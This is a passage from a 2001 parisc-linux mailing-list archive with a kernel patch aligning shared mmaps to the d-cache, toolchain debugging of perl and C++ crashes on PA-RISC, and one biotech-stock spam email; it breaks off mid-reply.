X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:32:31 +0000 (UTC)
Cc: linux-mm@kvack.org, parisc-linux@parisc-linux.org
To: Matthew Wilcox <matthew@wil.cx>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Mar 14 14:56:32 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 0C6A64A19
	for <parisc-linux@parisc-linux.org>; Wed, 14 Mar 2001 14:56:32 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 14dJFC-0008Dg-00; Wed, 14 Mar 2001 21:55:46 +0000
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <20010312175042.B19848@parcelfarce.linux.theplanet.co.uk>; from matthew@wil.cx on Mon, Mar 12, 2001 at 05:50:42PM +0000
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:10520

On Mon, Mar 12, 2001 at 05:50:42PM +0000, Matthew Wilcox wrote:
> 
> This patch changes shared mmaps of files to always be aligned at the
> same offset within the processor's d-cache.  This fixes PA-RISC & MIPS.
> Sparc & IA-64 need some of their support changing, but I don't want to
> do that until everyone's had the chance to disagree with my changes :-)

What, no comment?  no flames, no insults?  is this an uncontroversial patch?

Anyway, I have some improvements.

 * use inode->i_mapping->i_mmap_shared to determine whether there are
   any existing mappings rather than keeping track of it through i_mmap_offset.
 * take `pgoff' into account.  Oops, that was the whole point of the patch.
 * ensure `offset' is limited to the range [0 .. SHMLBA)

this time it's actually tested on PA-RISC.  Should work on MIPS too.
Sparc & IA-64 will need work.

Index: include/linux/fs.h
===================================================================
RCS file: /home/cvs/parisc/linux/include/linux/fs.h,v
retrieving revision 1.10
diff -u -p -r1.10 fs.h
--- fs.h	2001/02/02 03:37:12	1.10
+++ fs.h	2001/03/14 21:11:54
@@ -424,6 +424,7 @@ struct inode {
 
 	unsigned long		i_state;
 
+	unsigned int		i_mmap_offset; /* Handle L1 d-cache aliasing */
 	unsigned int		i_flags;
 	unsigned char		i_sock;
 
Index: include/linux/mm.h
===================================================================
RCS file: /home/cvs/parisc/linux/include/linux/mm.h,v
retrieving revision 1.16
diff -u -p -r1.16 mm.h
--- mm.h	2001/02/08 22:39:19	1.16
+++ mm.h	2001/03/14 21:11:54
@@ -423,6 +423,7 @@ extern void insert_vm_struct(struct mm_s
 extern void __insert_vm_struct(struct mm_struct *, struct vm_area_struct *);
 extern void build_mmap_avl(struct mm_struct *);
 extern void exit_mmap(struct mm_struct *);
+extern unsigned long get_shared_area(unsigned long, unsigned long, unsigned int);
 extern unsigned long get_unmapped_area(unsigned long, unsigned long);
 
 extern unsigned long do_mmap_pgoff(struct file *file, unsigned long addr,
Index: mm/mmap.c
===================================================================
RCS file: /home/cvs/parisc/linux/mm/mmap.c,v
retrieving revision 1.19
diff -u -p -r1.19 mmap.c
--- mmap.c	2001/02/02 03:37:18	1.19
+++ mmap.c	2001/03/14 21:11:55
@@ -190,6 +190,7 @@ unsigned long do_mmap_pgoff(struct file 
 {
 	struct mm_struct * mm = current->mm;
 	struct vm_area_struct * vma;
+	struct inode *inode = NULL;
 	int correct_wcount = 0;
 	int error;
 
@@ -223,17 +224,18 @@ unsigned long do_mmap_pgoff(struct file 
 	 * of the memory object, so we don't do any here.
 	 */
 	if (file != NULL) {
+		inode = file->f_dentry->d_inode;
 		switch (flags & MAP_TYPE) {
 		case MAP_SHARED:
 			if ((prot & PROT_WRITE) && !(file->f_mode & FMODE_WRITE))
 				return -EACCES;
 
 			/* Make sure we don't allow writing to an append-only file.. */
-			if (IS_APPEND(file->f_dentry->d_inode) && (file->f_mode & FMODE_WRITE))
+			if (IS_APPEND(inode) && (file->f_mode & FMODE_WRITE))
 				return -EACCES;
 
 			/* make sure there are no mandatory locks on the file. */
-			if (locks_verify_locked(file->f_dentry->d_inode))
+			if (locks_verify_locked(inode))
 				return -EAGAIN;
 
 			/* fall through */
@@ -253,11 +255,20 @@ unsigned long do_mmap_pgoff(struct file 
 	if (flags & MAP_FIXED) {
 		if (addr & ~PAGE_MASK)
 			return -EINVAL;
+	} else if (inode && (flags & MAP_SHARED)) {
+		if (inode->i_mapping->i_mmap_shared) {
+			addr = get_shared_area(addr, len, inode->i_mmap_offset + (pgoff << PAGE_SHIFT));
+		} else {
+			addr = get_unmapped_area(addr, len);
+			if (addr) {
+				inode->i_mmap_offset = (addr - (pgoff << PAGE_SHIFT)) & (SHMLBA - 1);
+			}
+		}
 	} else {
 		addr = get_unmapped_area(addr, len);
-		if (!addr)
-			return -ENOMEM;
 	}
+	if (!addr)
+		return -ENOMEM;
 
 	/* Determine the object being mapped and call the appropriate
 	 * specific mapper. the address has already been validated, but
@@ -348,7 +359,7 @@ unsigned long do_mmap_pgoff(struct file 
 
 	insert_vm_struct(mm, vma);
 	if (correct_wcount)
-		atomic_inc(&file->f_dentry->d_inode->i_writecount);
+		atomic_inc(&inode->i_writecount);
 	
 	mm->total_vm += len >> PAGE_SHIFT;
 	if (flags & VM_LOCKED) {
@@ -359,7 +370,7 @@ unsigned long do_mmap_pgoff(struct file 
 
 unmap_and_free_vma:
 	if (correct_wcount)
-		atomic_inc(&file->f_dentry->d_inode->i_writecount);
+		atomic_inc(&inode->i_writecount);
 	vma->vm_file = NULL;
 	fput(file);
 	/* Undo any partial mapping done by a device driver. */
@@ -376,6 +387,30 @@ free_vma:
  * Return value 0 means ENOMEM.
  */
 #ifndef HAVE_ARCH_UNMAPPED_AREA
+
+#define DCACHE_ALIGN(addr) ((addr) &~ (SHMLBA - 1))
+
+unsigned long get_shared_area(unsigned long addr, unsigned long len, unsigned int offset)
+{
+	struct vm_area_struct *vmm;
+	offset &= SHMLBA - 1;
+
+	if (len > TASK_SIZE)
+		return 0;
+	if (!addr)
+		addr = TASK_UNMAPPED_BASE;
+	addr = DCACHE_ALIGN(addr - offset) + offset;
+
+	for (vmm = find_vma(current->mm, addr); ; vmm = vmm->vm_next) {
+		/* At this point:  (!vmm || addr < vmm->vm_end). */
+		if (TASK_SIZE - len < addr)
+			return 0;
+		if (!vmm || addr + len <= vmm->vm_start)
+			return addr;
+		addr = DCACHE_ALIGN(vmm->vm_end - offset) + offset;
+	}
+}
+
 unsigned long get_unmapped_area(unsigned long addr, unsigned long len)
 {
 	struct vm_area_struct * vmm;
Index: mm/mremap.c
===================================================================
RCS file: /home/cvs/parisc/linux/mm/mremap.c,v
retrieving revision 1.7
diff -u -p -r1.7 mremap.c
--- mremap.c	2001/01/25 00:03:36	1.7
+++ mremap.c	2001/03/14 21:11:55
@@ -276,7 +276,11 @@ unsigned long do_mremap(unsigned long ad
 	ret = -ENOMEM;
 	if (flags & MREMAP_MAYMOVE) {
 		if (!(flags & MREMAP_FIXED)) {
-			new_addr = get_unmapped_area(0, new_len);
+			if (vma->vm_file && (vma->vm_flags & VM_SHARED)) {
+				new_addr = get_shared_area(0, new_len, vma->vm_file->f_dentry->d_inode->i_mmap_offset + (vma->vm_pgoff << PAGE_SHIFT));
+			} else {
+				new_addr = get_unmapped_area(0, new_len);
+			}
 			if (!new_addr)
 				goto out;
 		}


_______________________________________________
parisc-linux-cvs mailing list
parisc-linux-cvs@lists.parisc-linux.org
http://lists.parisc-linux.org/cgi-bin/mailman/listinfo/parisc-linux-cvs

-- 
Revolutions do not require corporate support.




From - Thu Nov 08 21:16:54 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Modra <alan@linuxcare.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] perl-5.6.0 build problems
Date: Thu, 15 Mar 2001 10:22:24 +1100 (EST)
Lines: 18
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0103151018450.27636-100000@front.linuxcare.com.au>
References: <20010314145957.C13965@achilles.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619951 16792 80.91.229.3 (22 Nov 2014 01:32:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:32:31 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: "Paul J.Y. Lahaie" <pjlahaie@linuxcare.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Mar 14 17:01:23 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from front.linuxcare.com.au (linuxcare.com.au [203.29.91.49])
	by dsl2.external.hp.com (Postfix) with ESMTP id DA6FA4A19
	for <parisc-linux@parisc-linux.org>; Wed, 14 Mar 2001 17:01:21 -0700 (MST)
Original-Received: from localhost (alan@localhost)
	by front.linuxcare.com.au (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id KAA26222;
	Thu, 15 Mar 2001 10:22:24 +1100
In-Reply-To: <20010314145957.C13965@achilles.net>
Xref: news.gmane.org gmane.linux.ports.parisc:10521

On Wed, 14 Mar 2001, Paul J.Y. Lahaie wrote:

> If I use the debian build (with the patch), perl.static and perl.debug
> complete building, but a dynamic version crashes immediately on startup
> from loading libperl.so.5.6.0 with the following fault:

Is this with the latest fix to gcc?

date: 2001/03/14 04:19:13;  author: amodra;  state: Exp;  lines: +5 -0
Don't assume a LO_SUM is fixed except during alias analysis.

Alan
-- 
Linuxcare





From - Thu Nov 08 21:16:54 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Modra <alan@linuxcare.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] perl-5.6.0 build problems
Date: Thu, 15 Mar 2001 11:07:39 +1100 (EST)
Lines: 28
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0103151027510.27636-100000@front.linuxcare.com.au>
References: <Pine.LNX.4.21.0103151018450.27636-100000@front.linuxcare.com.au>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619951 16797 80.91.229.3 (22 Nov 2014 01:32:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:32:31 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Paul J.Y. Lahaie" <pjlahaie@linuxcare.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Mar 14 17:07:44 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from front.linuxcare.com.au (linuxcare.com.au [203.29.91.49])
	by dsl2.external.hp.com (Postfix) with ESMTP id 3E5774A19
	for <parisc-linux@lists.parisc-linux.org>; Wed, 14 Mar 2001 17:07:43 -0700 (MST)
Original-Received: from localhost (alan@localhost)
	by front.linuxcare.com.au (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id LAA27858;
	Thu, 15 Mar 2001 11:07:40 +1100
In-Reply-To: <Pine.LNX.4.21.0103151018450.27636-100000@front.linuxcare.com.au>
Xref: news.gmane.org gmane.linux.ports.parisc:10522

On Thu, 15 Mar 2001, Alan Modra wrote:

> On Wed, 14 Mar 2001, Paul J.Y. Lahaie wrote:
> 
> > If I use the debian build (with the patch), perl.static and perl.debug
> > complete building, but a dynamic version crashes immediately on startup
> > from loading libperl.so.5.6.0 with the following fault:
> 
> Is this with the latest fix to gcc?

Ermm, should have read your last message first.  What about all the
libraries that perl is loading though?  And where did the crash occur?

You can find the crash location within a shared lib by doing

ldd <binary that crashed ie. miniperl>

Note the load addresses, and compare against do_fage_fault dump IAOQ.
Then

objdump -d <library> | less

To double check, the instruction that faulted should be the same as the
do_page_fault IIR.





From - Thu Nov 08 21:16:54 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: biotechstox76@yahoo.com
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] FREE Biotech Stock Info!    754
Date: Wed, 14 Mar 2001 03:52:24
Lines: 79
Approved: news@gmane.org
Message-ID: <421.499405.777450@yahoo.com>
Reply-To: biotechinfo2007@yahoo.com
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/html; charset="us-ascii"
X-Trace: ger.gmane.org 1416619952 16801 80.91.229.3 (22 Nov 2014 01:32:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:32:32 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Mar 14 17:17:00 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from puffin.external.hp.com (puffin.external.hp.com [192.25.206.4])
	by dsl2.external.hp.com (Postfix) with ESMTP id D7E0B4A19
	for <parisc-linux@lists.parisc-linux.org>; Wed, 14 Mar 2001 17:17:00 -0700 (MST)
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id RAA17619
	for <parisc-linux@puffin.external.hp.com>; Wed, 14 Mar 2001 17:11:46 -0700
Original-Received: (qmail 17990 invoked by uid 15267); 15 Mar 2001 00:16:53 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 17972 invoked from network); 15 Mar 2001 00:16:52 -0000
Original-Received: from unknown (HELO mail.2500sz.com) (211.95.85.36)
  by mailserv2.iuinc.com with SMTP; 15 Mar 2001 00:16:52 -0000
Original-Received: (qmail 69518 invoked by uid 0); 14 Mar 2001 08:55:01 -0000
Original-Received: from unknown (HELO prodigy.com) (unknown)
  by unknown with SMTP; 14 Mar 2001 08:55:01 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:10523

<html>

<head>
<meta http-equiv="Content-Type" content="text/html; charset=windows-1252">
<meta name="GENERATOR" content="Microsoft FrontPage 4.0">
<meta name="ProgId" content="FrontPage.Editor.Document">
<title>Do you want to capitalize on the Biotech Revolution</title>
</head>

<body>

<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto" align="center"><img border="0" src="http://www.geocities.com/mailtestbox2000/Kiloh_logo.gif" width="204" height="170"></p>
<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto"><span style="font-family:Arial">Do
you want to capitalize on the Biotech Revolution? Would you like to add
groundbreaking biotech, pharmaceutical and medical device companies to your
portfolio mix? Does hearing about exciting IPO and private placement offerings
from life sciences companies interest you?</span></p>
<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto"><span style="font-family:Arial">The
exclusive <b>Ruddy-Carlisle Biotech Infoline</b> service keeps you abreast of
investment opportunities in the life sciences space. Just sign up for it once
and get important information instantly delivered to study at your leisure. Our
service is <b><u>100% FREE</u></b>! <b><span style="color:blue"><a href="mailto:biotechsubscribe@yahoo.com">Sign
up!</a></span></b></span></p>
<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto"><b><i><span style="font-size:11.0pt;mso-bidi-font-size:12.0pt;font-family:Arial;color:#003366">Ruddy-Carlisle
Biotech Infoline:</span></i></b></p>
<ul type="disc">
  <li class="MsoNormal" style="color:#003366;mso-margin-top-alt:auto;mso-margin-bottom-alt:
     auto;mso-list:l0 level1 lfo1;tab-stops:list .5in"><b><i><span style="font-size:11.0pt;mso-bidi-font-size:12.0pt;font-family:Arial">Instantly
    delivers key life sciences investment information directly to you! </span></i></b><o:p>
    </o:p>
  </li>
  <li class="MsoNormal" style="color:#003366;mso-margin-top-alt:auto;mso-margin-bottom-alt:
     auto;mso-list:l0 level1 lfo1;tab-stops:list .5in"><b><i><span style="font-size:11.0pt;mso-bidi-font-size:12.0pt;font-family:Arial">Learn
    about biotech, pharmaceutical &amp; medical device investment opportunities
    before others! </span></i></b><o:p>
    </o:p>
  </li>
  <li class="MsoNormal" style="color:#003366;mso-margin-top-alt:auto;mso-margin-bottom-alt:
     auto;mso-list:l0 level1 lfo1;tab-stops:list .5in"><b><i><span style="font-size:11.0pt;mso-bidi-font-size:12.0pt;font-family:Arial">Includes
    IPO &amp; private placement information! </span></i></b><o:p>
    </o:p>
  </li>
  <li class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;
     mso-list:l0 level1 lfo1;tab-stops:list .5in"><b><i><span style="font-size:
     11.0pt;mso-bidi-font-size:12.0pt;font-family:Arial;color:#003366">100%
    FREE!</span></i></b></li>
</ul>
<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto"><span style="font-family:Arial">For
the entire last decade there were only three profitable biotech companies. At
the end of this year, ten are projected. At the end of 2003, <u>over forty</u>
are projected! The genomic promise is about to be delivered and investors know
it. The <b>Ruddy-Carlisle Biotech Infoline </b>provides you with critical,
decision-making, information that aids the chance of investment success in this
lucrative space. <b><span style="color:blue"><a href="mailto:biotechsubscribe@yahoo.com">Sign
up!</a></span></b></span></p>
<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto"><b><span style="font-family:Arial">Please
Note-</span></b><span style="font-family:Arial"> Your information will only be
shared with companies that are in the life sciences space <u>and</u> pass our
rigorous inspection. Only the best opportunities will come to you.
Ruddy-Carlisle respects your privacy. <b><span style="color:blue"><a href="mailto:biotechsubscribe@yahoo.com">Sign
up!</a></span></b></span></p>
<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>
<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>
<b><span style="font-size:10.0pt;mso-bidi-font-size:12.0pt;font-family:Arial;
mso-fareast-font-family:&quot;Times New Roman&quot;;mso-ansi-language:EN-US;mso-fareast-language:
EN-US;mso-bidi-language:AR-SA">
</p>
</p>List Removal Instructions</span></b><span style="font-size:10.0pt;mso-bidi-font-size:12.0pt;font-family:Arial;mso-fareast-font-family:
&quot;Times New Roman&quot;;mso-ansi-language:EN-US;mso-fareast-language:EN-US;
mso-bidi-language:AR-SA">- Simply click here: <b><span style="color:blue"><a href="mailto:remobiotech@yahoo.com">remove</a></span></b>
to be instantly and permanently removed from our list. Send the blank email to
the address specified. Please do not try to reply to this message.</span>

</body>

</html>




From - Thu Nov 08 21:16:54 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] perl-5.6.0 build problems
Date: Wed, 14 Mar 2001 19:22:42 -0500 (EST)
Lines: 28
Approved: news@gmane.org
Message-ID: <200103150022.TAA16704@hiauly1.hia.nrc.ca>
References: <Pine.LNX.4.21.0103151027510.27636-100000@front.linuxcare.com.au>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619952 16804 80.91.229.3 (22 Nov 2014 01:32:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:32:32 +0000 (UTC)
Cc: pjlahaie@linuxcare.com, parisc-linux@lists.parisc-linux.org
To: alan@linuxcare.com.au (Alan Modra)
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Mar 14 17:23:07 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 56CED4A19
	for <parisc-linux@lists.parisc-linux.org>; Wed, 14 Mar 2001 17:23:07 -0700 (MST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.9.3/8.9.3) id TAA16704;
	Wed, 14 Mar 2001 19:22:42 -0500 (EST)
In-Reply-To: <Pine.LNX.4.21.0103151027510.27636-100000@front.linuxcare.com.au> from "Alan Modra" at Mar 15, 2001 11:07:39 am
X-Mailer: ELM [version 2.4 PL25]
Xref: news.gmane.org gmane.linux.ports.parisc:10524

> On Thu, 15 Mar 2001, Alan Modra wrote:
> 
> > On Wed, 14 Mar 2001, Paul J.Y. Lahaie wrote:
> > 
> > > If I use the debian build (with the patch), perl.static and perl.debug
> > > complete building, but a dynamic version crashes immediately on startup
> > > from loading libperl.so.5.6.0 with the following fault:
> > 
> > Is this with the latest fix to gcc?

Alan is correct that the LO_SUM patch is very important for pic code.

This patch probably isn't in the tree
<http://gcc.gnu.org/ml/gcc-patches/2001-03/msg00524.html>.  I found it
in pic code using long longs.  Richard Kenner recently fixed aliasing
problems affecting both pic and non pic code
<http://gcc.gnu.org/ml/gcc-patches/2001-03/msg00725.html>.  It fixed
problems with insns being incorrectly deleted.  I know there is at least
one testsuite problem left for pic code that isn't there for non pic code.
This appears at -O3, so you might try reducing your opt level.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)




From - Thu Nov 08 21:16:54 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Modra <alan@linuxcare.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: new debs built, c++ is broken
Date: Thu, 15 Mar 2001 17:20:32 +1100 (EST)
Lines: 42
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0103151625490.27636-100000@front.linuxcare.com.au>
References: <20010315030538.734C13878A@carmen.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619952 16807 80.91.229.3 (22 Nov 2014 01:32:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:32:32 +0000 (UTC)
Cc: randolph@tausq.org, bdale@gag.com, alan_c_meyer@am.exch.hp.com,
	parisc-linux@lists.parisc-linux.org
To: Matt Taggart <taggart@carmen.fc.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Mar 14 23:34:54 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from front.linuxcare.com.au (linuxcare.com.au [203.29.91.49])
	by dsl2.external.hp.com (Postfix) with ESMTP id AA3104A19
	for <parisc-linux@lists.parisc-linux.org>; Wed, 14 Mar 2001 23:34:53 -0700 (MST)
Original-Received: from localhost (alan@localhost)
	by front.linuxcare.com.au (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id RAA07245;
	Thu, 15 Mar 2001 17:20:32 +1100
In-Reply-To: <20010315030538.734C13878A@carmen.fc.hp.com>
Xref: news.gmane.org gmane.linux.ports.parisc:10525

[copying to the list, as this may help people debug similar problems]

(gdb) bt
#0  0x0000d22c in __register_frame_info (begin=0x42e68, ob=0x4f7cc)
    at /src/parisc/gcc/gcc/frame-dwarf2.c:561
#1  0x0000afe0 in frame_dummy ()
#2  0x0000a4f8 in _init ()

Disassembling the functions in question,

__register_frame_info is PIC
frame_dummy is not PIC, and trashes r19
_init is PIC

which expains the crash.  The next question is why do we have such a mess
of pic/non-pic code?  Running the compile with -Wl,-M to turn on linker
map output helps a bit, and shows that
__register_frame_info comes from /usr/lib/gcc-lib/hppa-linux/2.97/libgcc.a
frame_dummy comes from /usr/lib/gcc-lib/hppa-linux/2.97/crtbegin.o
_init is cobbled together from crti.o, crtbegin.o, crtend.o, crtn.o

So it seems the problem is really a result of our decision to make libgcc 
PIC, and a possible fix is to always link with crtbeginS.o and crtendS.o.
OK, we can do that by editing /usr/lib/gcc-lib/hppa-linux/2.97/specs and
make *startfile: end up with .... crti.o%s crtbeginS.o%s, and *endfile: be
crtendS.o%s crtn.o%s

Now I get a little further

alan@tea:/scsi/tmp$ ./c++hello 
Hello
Segmentation fault (core dumped)

So now we've likely got a problem with destructors.  To be continued...

Alan
-- 
Linuxcare.





From - Thu Nov 08 21:16:54 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: new debs built, c++ is broken
Date: Thu, 15 Mar 2001 02:11:02 -0500 (EST)
Lines: 28
Approved: news@gmane.org
Message-ID: <200103150711.CAA29105@hiauly1.hia.nrc.ca>
References: <Pine.LNX.4.21.0103151625490.27636-100000@front.linuxcare.com.au>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619952 16815 80.91.229.3 (22 Nov 2014 01:32:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:32:32 +0000 (UTC)
Cc: taggart@carmen.fc.hp.com, randolph@tausq.org, bdale@gag.com,
	alan_c_meyer@am.exch.hp.com, parisc-linux@lists.parisc-linux.org
To: alan@linuxcare.com.au (Alan Modra)
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Mar 15 00:20:43 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id A396D4A19
	for <parisc-linux@lists.parisc-linux.org>; Thu, 15 Mar 2001 00:20:42 -0700 (MST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.9.3/8.9.3) id CAA29105;
	Thu, 15 Mar 2001 02:11:02 -0500 (EST)
In-Reply-To: <Pine.LNX.4.21.0103151625490.27636-100000@front.linuxcare.com.au> from "Alan Modra" at Mar 15, 2001 05:20:32 pm
X-Mailer: ELM [version 2.4 PL25]
Xref: news.gmane.org gmane.linux.ports.parisc:10526

> [copying to the list, as this may help people debug similar problems]
> 
> (gdb) bt
> #0  0x0000d22c in __register_frame_info (begin=0x42e68, ob=0x4f7cc)
>     at /src/parisc/gcc/gcc/frame-dwarf2.c:561
> #1  0x0000afe0 in frame_dummy ()
> #2  0x0000a4f8 in _init ()
> 
> Disassembling the functions in question,
> 
> __register_frame_info is PIC
> frame_dummy is not PIC, and trashes r19
> _init is PIC
> 
> which expains the crash.  The next question is why do we have such a mess
> of pic/non-pic code?  Running the compile with -Wl,-M to turn on linker

Uh?  Non pic code has always called pic code in libgcc.  Trashing r19
in frame_dummy shouldn't be a problem.  Is the return through a stub?
I suspect _init shouldn't be pic.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)




From - Thu Nov 08 21:16:54 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Modra <alan@linuxcare.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: new debs built, c++ is broken
Date: Thu, 15 Mar 2001 18:51:36 +1100 (EST)
Lines: 17
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0103151813460.27636-100000@front.linuxcare.com.au>
References: <200103150711.CAA29105@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619953 16820 80.91.229.3 (22 Nov 2014 01:32:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:32:33 +0000 (UTC)
Cc: taggart@carmen.fc.hp.com, randolph@tausq.org, bdale@gag.com,
	alan_c_meyer@am.exch.hp.com, parisc-linux@lists.parisc-linux.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Mar 15 01:04:33 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from front.linuxcare.com.au (linuxcare.com.au [203.29.91.49])
	by dsl2.external.hp.com (Postfix) with ESMTP id 77CF84A19
	for <parisc-linux@lists.parisc-linux.org>; Thu, 15 Mar 2001 01:04:31 -0700 (MST)
Original-Received: from localhost (alan@localhost)
	by front.linuxcare.com.au (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id SAA09616;
	Thu, 15 Mar 2001 18:51:36 +1100
In-Reply-To: <200103150711.CAA29105@hiauly1.hia.nrc.ca>
Xref: news.gmane.org gmane.linux.ports.parisc:10527

On Thu, 15 Mar 2001, John David Anglin wrote:

> Uh?  Non pic code has always called pic code in libgcc.  Trashing r19
> in frame_dummy shouldn't be a problem.

The only reason pic code can be called from non-pic is that the linker
